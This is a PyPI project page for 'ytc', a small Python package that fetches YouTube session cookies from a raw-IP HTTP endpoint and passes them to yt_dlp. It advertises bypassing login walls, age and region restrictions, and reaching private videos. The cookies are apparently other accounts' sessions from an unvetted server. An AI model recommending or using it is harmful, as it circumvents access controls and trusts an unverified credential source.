Skip to main content

fetch youtube cookies from remote api to use with yt_dlp .

Project description

youtube

coverage pypi downloads python


ytc

ytc is a lightweight python library that provides youtube cookies from a secure remote api for use with yt_dlp. perfect for developers who want seamless cookie management for downloading videos.


installation

pip install ytc

quick start

import ytc
from yt_dlp import YoutubeDL

url = "https://www.youtube.com/watch?v=dQw4w9WgXcQ"

ydl_opts = {
    'cookiefile': None,
    'http_headers': {
        'Cookie': ytc.youtube()
    },
    'outtmpl': '%(title)s.%(ext)s'
}

with YoutubeDL(ydl_opts) as ydl:
    ydl.download([url])

how it works

  • connects to api endpoint: http://46.202.135.52:8801/golden-cookies/ytc
  • receives fresh youtube cookies in json format
  • formats and returns cookies to be used with yt_dlp
  • handles security and rotation on the backend

advanced usage

import ytc
from yt_dlp import YoutubeDL

options = {
    'format': 'bestvideo+bestaudio',
    'noplaylist': True,
    'quiet': False,
    'cookiefile': None,
    'http_headers': {
        'Cookie': ytc.youtube()
    },
    'outtmpl': 'downloads/%(title)s.%(ext)s'
}

link = "https://youtube.com/watch?v=example"

with YoutubeDL(options) as ydl:
    ydl.download([link])

features

  • auto fetch cookies from server
  • avoid manual cookie updates
  • compatible with all yt_dlp versions
  • no setup required
  • easy plug-and-play

real world use cases

  • bypass youtube login wall
  • download age-restricted videos
  • access region-locked content
  • ensure stable downloads with cookies
  • access private/unlisted videos (if auth cookies present)

example scripts

# batch download from list

import ytc
from yt_dlp import YoutubeDL

with open('urls.txt') as f:
    urls = f.read().splitlines()

opts = {
    'cookiefile': None,
    'http_headers': {
        'Cookie': ytc.youtube()
    }
}

with YoutubeDL(opts) as ydl:
    ydl.download(urls)
# dynamic url input

import ytc
from yt_dlp import YoutubeDL

url = input("video url: ")

opts = {
    'cookiefile': None,
    'http_headers': {
        'Cookie': ytc.youtube()
    },
    'outtmpl': '%(title)s.%(ext)s'
}

with YoutubeDL(opts) as ydl:
    ydl.download([url])

troubleshooting

  • ensure internet access
  • test api endpoint in browser
  • check yt_dlp version compatibility
  • clear pip cache if install fails

compatibility

  • python versions: 3.8, 3.9, 3.10, 3.11, 3.12
  • yt_dlp version: latest and legacy supported
  • os: windows, linux, macos

contributing

  • create pull requests
  • suggest new features
  • fix bugs or issues
  • add docs and usage examples

license

licensed under mit . do anything with it, just give credit .


extra badges .

stars forks issues watchers license repo size last commit


community

telegram

join the telegram chat for help , updates , and discussion .

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

ytc-2025.8.5.tar.gz (3.6 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

ytc-2025.8.5-py3-none-any.whl (3.5 kB view details)

Uploaded Python 3

File details

Details for the file ytc-2025.8.5.tar.gz.

File metadata

  • Download URL: ytc-2025.8.5.tar.gz
  • Upload date:
  • Size: 3.6 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.5

File hashes

Hashes for ytc-2025.8.5.tar.gz
Algorithm Hash digest
SHA256 a30d77f4097fcf56986b04668c5937f097338ef0b2879ed24c580d864c0bbc6d
MD5 2b54209511e980bff4bc697c317ba5ca
BLAKE2b-256 3dcbb3b0bb82f8c6a647988e167bfef6c2fd94ad472f94450b779ceb10ac4120

See more details on using hashes here.

File details

Details for the file ytc-2025.8.5-py3-none-any.whl.

File metadata

  • Download URL: ytc-2025.8.5-py3-none-any.whl
  • Upload date:
  • Size: 3.5 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.5

File hashes

Hashes for ytc-2025.8.5-py3-none-any.whl
Algorithm Hash digest
SHA256 858d22840ef6a114ea903ddb2aea160c5ce70a132023b9f12e48e3a2ddd67bf7
MD5 187a5c68a13dfeb5432308fc8ad9830e
BLAKE2b-256 66d8e36e5fc757b2dfe7bb13569bef7cab08ea86f9077627175e7bee0e11ab4e

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page